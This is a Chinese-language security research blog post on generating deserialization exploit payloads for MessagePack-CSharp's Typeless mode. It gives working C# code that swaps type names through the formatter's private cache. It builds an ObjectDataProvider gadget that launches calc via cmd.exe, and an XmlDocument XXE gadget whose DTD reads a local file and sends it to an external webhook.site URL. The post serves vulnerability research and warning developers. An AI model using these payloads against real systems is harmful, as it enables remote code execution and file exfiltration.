为 MessagePack C# 的 Typeless 模式生成反序列化载荷
Apr 10, 2023
MessagePack-CSharp 的 Typeless 模式通过嵌入完整的类型信息(包括私有字段)来实现多态序列化,因此功能强大,但在处理不受信任的数据时并不安全。由于反序列化依赖反射以及自动属性设置器,攻击者可以利用已知的 gadget 链构造负载,从而触发代码执行或 XXE 攻击。即使启用了 MessagePack 的加固安全选项,Typeless 模式仍从根本上不安全,绝不应与不受信任的输入一起使用。
MessagePack-CSharp 是一个高性能的序列化库,可简化对复杂对象进行序列化和反序列化的过程。许多 .NET 开发人员喜欢使用 MessagePack,因为它比 XML 或 JSON 等其他序列化格式更快,并且生成的输出更小。
MessagePack-CSharp 提供一个名为 Typeless 的功能模式,可在事先无需了解对象类型的情况下,实现对象的动态、多态(polymorphic)序列化与反序列化。在对象类型仅在运行时才知道的场景中,这一能力尤其有用,使开发者能够对对象进行序列化与反序列化,而无需用属性来装饰类。Typeless 模式几乎可以序列化任何类型,包括公共与私有的属性(properties)以及字段(fields)。
随着 BinaryFormatter 被弃用(不再推荐使用),开发者可能会寻找替代方案,例如 MessagePack 的 Typeless 模式,因为它提供了类似的功能。
MessagePack 文档建议不要在不受信任的数据上使用 Typeless 模式,因为这可能会导致安全问题。本文通过展示如何为 MessagePack 的 Typeless 模式创建反序列化利用(deserialization exploit)载荷,来说明这些问题。
使用 Typeless 模式序列化对象
namespace SomeLibrary
{
public class SomeClass
{
private string _privateField;
public string PublicProperty { get; set; }
public string PrivateProperty { get; private set; }
public void SetPrivateProperty(string pPrivateProperty)
=> PrivateProperty = pPrivateProperty;
public void SetPrivateField(string pPrivateField)
=> _privateField = pPrivateField;
}
}
namespace MessagePackTypelessDemo
{
class Program
{
static void Main()
{
var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
obj.SetPrivateProperty("HIJKLMNOP");
obj.SetPrivateField("QRSTUVWXYZ");
System.IO.File.WriteAllBytes(
"serialized.bin",
MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
}
}
}
需要注意的是,序列化后的数据不仅包含私有属性(private property)和字段(field)的值,还包含 SomeClass 的 AssemblyQualifiedName(AQN)。在反序列化期间,MessagePack 会引用这些类型信息,以确保构造出的对象类型与其一致,并且数据能够被正确填充。
图 1:MessagePack Typeless 序列化数据的十六进制视图
在反序列化过程中,MessagePack 会利用反射来调用不带参数的默认构造函数。如果不存在默认构造函数,则反序列化会失败。此外,还会使用反射来调用属性的 setter,并将值赋给字段。
反序列化不受信任数据的安全影响
MessagePack 文档讨论了与反序列化不受信任数据相关的安全影响。该部分特别建议不要在不受信任的数据中使用 Typeless 模式,因为这可能导致反序列化意外的类型,从而引发安全漏洞。
MessagePackSerializerOptions 类允许开发人员在序列化和反序列化期间配置特定行为,例如使用 Lz4 压缩和处理程序集版本。该类还定义了一个已知的危险类型列表,MessagePack 不会对这些类型进行反序列化。如果序列化数据中包含其中任意一种类型,将抛出异常并中止反序列化。当前该列表包含两种类型:
- System.CodeDom.Compiler.TempFileCollection
- System.Management.IWbemClassObjectFreeThreaded
MessagePackSerializerOptions 也可以配置为使用更安全的模式,该模式面向处理不受信任的数据,并引入最大对象图深度以及具有抗碰撞能力的哈希算法。文档指出,该模式仅能增强对常见攻击的防护,并非完全安全。
MessagePackSerializerOptions options =
TypelessContractlessStandardResolver.Options
.WithAllowAssemblyVersionMismatch(true)
.WithSecurity(MessagePackSecurity.UntrustedData);
return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
尽管受到这些限制,依然可以在反序列化不受信任的数据时,创建利用属性 setter 调用来触发特权操作(例如代码执行)的序列化“gadget”载荷。前提是该 gadget 不在被禁止类型列表中。
直接序列化已实例化的 gadget 类型可能会带来问题,因为该类型的所有属性和字段都会被序列化,且无法选择忽略其中任何一项。反序列化该对象可能会导致对象配置错误,从而在实例化过程中引发问题,进而可能导致利用失败。此外,对于基于 setter 的 gadget,研究人员可能需要在对象创建期间直接运行载荷。
为避免这些问题,更好的做法是创建一个最小的替身(surrogate)对象,并将其序列化为真实的 gadget 类型。这样,在反序列化过程中只会设置必要的属性和字段,从而降低出现意外行为的风险。
生成用于代码执行的 ObjectDataProvider payload
ObjectDataProvider gadget 是一种广为人知的代码执行 gadget,出现在众多 gadget 链中。本文不会详细说明 ObjectDataProvider 的具体工作方式,因为 Alvaro Muñoz 和 Oleksandr Mirosh 的 “Friday the 13th JSON Attacks” 论文对其工作机制提供了全面的解释。
简而言之,ObjectDataProvider 可用于通过配置 MethodName 和 ObjectInstance 属性来调用 Process.Start,并使用用户指定的参数:当设置任一属性时,都会在提供的对象实例上调用所提供的方法名。具体来说,MethodName 属性应设置为“Start”,ObjectInstance 属性应设置为 System.Diagnostics.Process 的一个实例。随后,可以通过包含在 System.Diagnostics.ProcessStartInfo 对象中的属性来设置文件名和参数;该对象作为 Process 对象的 StartInfo 属性提供。
步骤 1:指定替身(surrogate)类型
替身(surrogate)类型只需要包含导致代码执行所需的最少属性即可。对于 ObjectDataProvider 这一 gadget, 对象图(object graph)需要符合以下规范:
public class ObjectDataProviderSurrogate
{
public string MethodName { get; set; }
public object ObjectInstance { get; set; }
}
public class ProcessStartInfoSurrogate
{
public string FileName { get; set; }
public string Arguments { get; set; }
}
public class ProcessSurrogate
{
public ProcessStartInfoSurrogate StartInfo { get; set; }
}
步骤 2:构造 ObjectDataProviderSurrogate 对象
要生成执行“calc.exe”的 payload, 我们首先构造 ObjectDataProviderSurrogate 对象,并根据真实的 ObjectDataProvider 对象设置所需的属性;必要时还会使用额外的替身(surrogate)。
return new ObjectDataProviderSurrogate
{
MethodName = "Start",
ObjectInstance = new ProcessSurrogate
{
StartInfo = new ProcessStartInfoSurrogate
{
FileName = "cmd.exe",
Arguments = "/c calc"
}
}
};
步骤 3:修改类型缓存
MessagePack 的 Typeless 模式不包含将一种类型序列化为另一种类型的功能。虽然此前开发者可以通过重写 TypelessFormatter 的 BindToType 委托来实现这一点,但该功能在一次重要的重构过程中被移除了。不过,我们仍然可以利用 MessagePack 的一些内部行为来达成这一目标。
The TypelessFormatter 使用内部缓存来存储先前已处理类型的类型信息。当缓存中存在某个类型时,格式化器会跳过通过 AssemblyQualifiedName 属性检索该类型的 AQN,而是直接以字节数组形式返回缓存中的 AQN 字符串。随后,该字符串会被合并到序列化数据中,用于标识已序列化的类型。
public void Serialize(
ref MessagePackWriter writer,
object? value,
MessagePackSerializerOptions options)
{
// [Truncated]
Type type = value.GetType();
var typeNameCache = options.OmitAssemblyVersion
? ShortenedTypeNameCache
: FullTypeNameCache;
if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
{
TypeInfo ti = type.GetTypeInfo();
if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
{
typeName = null;
}
else
{
typeName = StringEncoding.UTF8.GetBytes(
this.BuildTypeName(type, options));
}
typeNameCache.TryAdd(type, typeName);
}
// Use typeName...
}
通过将类型及其对应的 AQN 字符串添加到缓存中,我们可以确保序列化器在处理这些对象时写入指定的 AQN 字符串。由于缓存是私有的,我们可以利用反射来访问该字段的 TryAdd 方法。
public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
FieldInfo typeNameCacheField =
typeof(TypelessFormatter)
.GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo addTypeCacheMethod =
typeNameCacheField.FieldType
.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });
object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
foreach (var typeSwap in pNewTypeCacheEntries)
{
addTypeCacheMethod.Invoke(
typeNameCache,
new object[]
{
typeSwap.Key,
System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
});
}
}
现在,我们可以将自己的类型添加到 TypelessFormatter 的内部类型缓存中,同时附上真实对象对应的类型名称。由于 TypelessFormatter 是静态的,之后任何 serialize 调用都会使用这个已修改的类型缓存。
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(ObjectDataProviderSurrogate),
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
typeof(ProcessSurrogate),
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(ProcessStartInfoSurrogate),
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
步骤 4。序列化并反序列化负载(payload)
我们可以确认,序列化后的数据包含 ObjectDataProvider gadget chain 所需的 AQN,以及仅用于实现成功代码执行所必需的属性和值。在反序列化之后,payload 将触发 Process.Start,启动 calc.exe。
图 2. 序列化后的 ObjectDataProvider 组件负载的十六进制视图
图 3. 在反序列化过程中成功利用并启动 calc.exe
此负载生成功能也已集成到 Ysoserial.NET 项目 中,以便研究人员能够为标准数据和 Lz4 压缩数据生成 MessagePack Typeless 负载。
图 4. 使用 Ysoserial.NET 生成 MessagePack Typeless 负载
限制
在 MessagePack-CSharp 的 v2.3.75(2021 年 7 月)之前版本中,无法通过反序列化已序列化的 ObjectDataProvider 载荷来实现代码执行。在这些版本中,即使序列化数据中不存在对应值,也会为对象调用属性(property)setter。
ObjectDataProvider 扩展了 System.Windows.Data.DataSourceProvider 类。该类包含受保护的属性 Dispatcher;在 MessagePack 的较早版本中,Dispatcher 会被设置为 null。
protected Dispatcher Dispatcher
{
get { return _dispatcher; }
set
{
if (_dispatcher != value)
{
_dispatcher = value;
}
}
}
如前所述,设置指定的 ObjectInstance 或 MethodName 属性将调用一个内部 Refresh 方法;该方法在两个属性都已设置的前提下,会触发在对象实例上调用指定的方法名。这意味着要实现成功的调用,Refresh 方法必须被调用两次——分别在设置每个属性时各调用一次。
在每次调用 Refresh 结束时,会调用 DataSourceProvider 的 OnQueryFinished 方法,表示查询已完成。该方法断言 Dispatcher 属性不为 null。
protected virtual void OnQueryFinished(object newData, Exception error
DispatcherOperationCallback completionWork, object callbackArguments)
{
Invariant.Assert(Dispatcher != null);
if (Dispatcher.CheckAccess())
{
UpdateWithNewResult(error, newData, completionWork, callbackArguments);
}
else
{
Dispatcher.BeginInvoke(
DispatcherPriority.Normal, UpdateWithNewResultCallback,
new object[]
{
this, error, newData, completionWork, callbackArguments
});
}
}
由于此时 Dispatcher 为 null,Invariant.Assert 将失败,从而触发对 Invariant.FailFast 的调用,最终会终止该进程。由于这会发生在第一次调用 Refresh 时,因此将无法进行代码执行。
为 XXE 文件外泄生成 XmlDocument 载荷
XmlDocument 类具有 InnerXml 字符串属性。该属性在设置时会使用提供的属性值调用 XmlDocument 的 Load 方法。对于低于 v4.5.2 的 .NET 版本,这可能会产生对 XXE(XML 外部实体)攻击的潜在漏洞,使攻击者能够将系统中的文件外泄到远程位置。
在 .NET Framework v4.5.2 及更高版本中,XmlDocument 的 XmlResolver 属性默认设置为 null,从而阻止对 XML 实体的处理。然而,由于 MessagePack 会使用默认构造函数对类型进行反序列化,仍然可以通过将 XmlUrlResolver 作为 XmlResolver 属性来规避这种保护。这为从 .NET Core 到 .NET 7 的后续版本中的 XXE 场景提供了通路。
步骤 1. 指定 XmlDocument 的替代(surrogate)类型
我们指定执行 XXE 攻击所需的最小属性。注意,XmlResolver 属性的类型是 System.Object,而不是 XmlUrlResolverSurrogate。这会强制 MessagePack 包含 XmlResolver 属性的类型的 AQN,从而让我们能够利用类型替换(type-swapping)机制。
public class XmlDocumentSurrogate
{
public object XmlResolver { get; set; }
public string InnerXml { get; set; }
}
public class XmlUrlResolverSurrogate
{
}
第 2 步。构造 XmlDocument 代理(surrogate)对象
要在反序列化(deserialization)过程中外泄文件,我们首先需要准备并托管一个 DTD 文件。该 DTD 文件将被提供给 InnerXml 属性的已加载 XML 引用。我们可以使用免费的文本粘贴服务 Pastebin 来托管 DTD 文件,因为它允许进行原始文件访问。
DTD 将读取文件 “C:\test.txt” 的内容(这个概念验证(proof-of-concept)示例包含文本 “A1B2C3”),并将内容作为 GET 参数传递给由攻击者控制的 Web 服务。对于这个示例,我们将使用免费的 Webhook.Site 服务来捕获请求。
<!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;
在反序列化过程中将加载的 XML 会引用该 DTD 文件,并触发导致发出 GET 请求的实体扩展(entity expansion)。
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
接下来,完整的代理(surrogate)对象构建只需完成两件事:将 XmlDocumentSurrogate 的 InnerXml 属性填入上面的 XML,并将 XmlResolver 属性设置为我们的 XmlUrlResolverSurrogate 类型。
return new XmlDocumentSurrogate
{
XmlResolver = new XmlUrlResolverSurrogate(),
InnerXml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
"<foo>&c;</foo>"
};
第 3 步。替换类型定义
使用与生成 ObjectDataProvider gadget 相同的方法,我们可以使用 SwapTypeCacheNames 函数,将替身(surrogate)类型信息替换为真实 XmlDocument gadget 的类型信息。
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(XmlDocumentSurrogate),
"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(XmlUrlResolverSurrogate),
"System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
第 4 步。序列化并反序列化有效载荷
XmlDocument gadget chain 的序列化数据包含正确的 AQNs,其中包括 XmlUrlResolver 所需的必要 AQN。反序列化时,有效载荷将触发对攻击者托管的 DTD 的请求。随后将使用该 DTD 提取“C:\Test.txt”的内容,并将内容作为 GET 参数传递给 webhook。
图 5. 序列化的 XmlDocument gadget 负载的十六进制视图
图 6. 序列化和反序列化 XmlDocument gadget 载荷
图 7. 反序列化过程中成功的 XXE 文件外传
限制
MessagePack-CSharp 在 v2.3.75(2021 年 7 月)之前的版本由于前面提到的缺陷,会阻止在反序列化 XmlDocument gadget 载荷时执行 XXE 攻击:即使对象的属性在序列化数据中不存在,也会调用该对象的属性设置器(setter)。
该缺陷会导致 XmlDocument 的 Value 属性设置器(setter)(继承自 System.Xml.XmlNode)被调用。该设置器会无论提供什么值都抛出异常,从而使反序列化过程在任何文件外传发生之前就终止。
public virtual string Value
{
get { return null; }
set
{
throw new InvalidOperationException(
string.Format(
CultureInfo.InvariantCulture,
Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString()));
}
}
摘要
本文概述了一种在 MessagePack 的 Typeless 模式下创建反序列化(deserialization)利用载荷的简单方法。鉴于该序列化器不仅能够处理私有属性(private properties),还能够处理私有字段(private fields),因此与更受限制的对应实现相比,该序列化器可能存在更多的利用链组件(gadgets)。
对不受信任的数据进行反序列化(deserialization)会带来显著的安全风险,尤其是在对会定义嵌入对象类型(embedded object type)的数据进行反序列化时。开发人员应避免使用 MessagePack 的 Typeless 功能来反序列化不受信任的数据;即使启用了所有安全特性,它仍然是不安全的,且无法被真正地加固为安全。
致谢
特别感谢 Piotr Bazydlo(@chudyPB),为本文提供了宝贵的见解,这些见解聚焦于在 MessagePack 早期版本中对 ObjectDataProvider 利用链(gadget chains)进行反序列化时的限制,从而阻止了成功利用。
常见问题(FAQ)
分享到
了解更多
关于作者
Dane Evans
资深应用安全工程师
Dane 是 Netwrix Security Research 团队的应用安全工程师,拥有十余年的应用安全与软件工程经验。他的主要关注领域包括应用安全、软件开发生命周期(SDLC)、漏洞研究以及漏洞利用(exploit)开发。